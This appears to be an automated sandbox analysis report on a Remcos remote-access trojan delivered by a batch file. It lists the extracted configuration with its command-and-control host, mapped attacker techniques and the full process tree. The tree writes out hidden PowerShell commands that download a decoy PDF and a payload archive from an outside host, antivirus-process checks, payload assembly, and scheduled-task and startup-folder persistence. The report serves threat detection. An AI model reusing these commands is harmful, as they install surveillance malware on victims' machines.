remcos | 91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-01-2025 07:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e8dfdb915a523a09e139aaa900991ddd.bat
Size

498B
MD5

e8dfdb915a523a09e139aaa900991ddd
SHA1

d23f4798c549bfb7ddd968c4c2a971f67468a662
SHA256

91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e
SHA512

b4e737d1c80420688bf856df02a580b691d120307b7d31ea4766448ccd0c6eec7b2c48424691e92dffba58ca8c9a8df989f5b683d9363cac37d3dd3e5ad1623e

Score

10^/10

remcos 2024 discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

2024

me-work.com:7009

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LOARC0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4368 created 3440	4368	Prostores.com	56
PID 4368 created 3440	4368	Prostores.com	56

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	2388	powershell.exe
9	2388	powershell.exe
11	2388	powershell.exe
12	2388	powershell.exe
23	2164	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2388	powershell.exe
2164	powershell.exe
2388	powershell.exe
2164	powershell.exe
1204	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	msword.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
544	msword.exe
4368	Prostores.com

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
724	tasklist.exe
3492	tasklist.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\DischargeFlowers	msword.exe
File opened for modification	C:\Windows\StartupDecision	msword.exe
File opened for modification	C:\Windows\GazetteUna	msword.exe
File opened for modification	C:\Windows\PerfumeDiscussions	msword.exe
File opened for modification	C:\Windows\HospitalityCelebrities	msword.exe
File opened for modification	C:\Windows\DrawnScanner	msword.exe
File opened for modification	C:\Windows\PdasSalaries	msword.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msword.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prostores.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2360	schtasks.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
2388	powershell.exe
2388	powershell.exe
2164	powershell.exe
2164	powershell.exe
1204	powershell.exe
1204	powershell.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	724	tasklist.exe
Token: SeDebugPrivilege	3492	tasklist.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1532	AcroRd32.exe
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4368	Prostores.com
4368	Prostores.com
4368	Prostores.com

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
1532	AcroRd32.exe
4368	Prostores.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2388	2468	cmd.exe	83
PID 2468 wrote to memory of 2388	2468	cmd.exe	83
PID 2468 wrote to memory of 1532	2468	cmd.exe	84
PID 2468 wrote to memory of 1532	2468	cmd.exe	84
PID 2468 wrote to memory of 1532	2468	cmd.exe	84
PID 2468 wrote to memory of 2164	2468	cmd.exe	86
PID 2468 wrote to memory of 2164	2468	cmd.exe	86
PID 1532 wrote to memory of 2044	1532	AcroRd32.exe	87
PID 1532 wrote to memory of 2044	1532	AcroRd32.exe	87
PID 1532 wrote to memory of 2044	1532	AcroRd32.exe	87
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 1528	2044	RdrCEF.exe	88
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89
PID 2044 wrote to memory of 2076	2044	RdrCEF.exe	89

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e8dfdb915a523a09e139aaa900991ddd.bat"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\Admin\Downloads\W2.pdf"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\W2.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2044
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=16951D770A89AA2E95CE8EEB0BCDAD54 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1528
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=33623229530245C4FCF5EA3240F29908 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=33623229530245C4FCF5EA3240F29908 --renderer-client-id=2 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2076
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=F65274889A8658A9015D902FAE0CD513 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=F65274889A8658A9015D902FAE0CD513 --renderer-client-id=4 --mojo-platform-channel-handle=2432 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2704
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=CABFBBC75973F907F30D004D7213CD50 --mojo-platform-channel-handle=2708 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1812
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1530838D94CA21D738E47708D7021E50 --mojo-platform-channel-handle=2696 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:380
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=248A220B75327FF69335A59B74E260F4 --mojo-platform-channel-handle=1868 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\Admin\AppData\Local\Temp\msword.zip"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\msword -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1204
- - C:\Users\Admin\AppData\Local\Temp\msword\msword.exe
    msword.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd
      4⤵
      System Location Discovery: System Language Discovery
      PID:2300
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:724
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2056
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3492
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3976
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 677826
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4932
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4912
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2796
    - - C:\Users\Admin\AppData\Local\Temp\677826\Prostores.com
        
        Prostores.com N
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:4368
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1300
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\Admin\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\Admin\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2360
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & echo URL="C:\Users\Admin\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:4364

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001
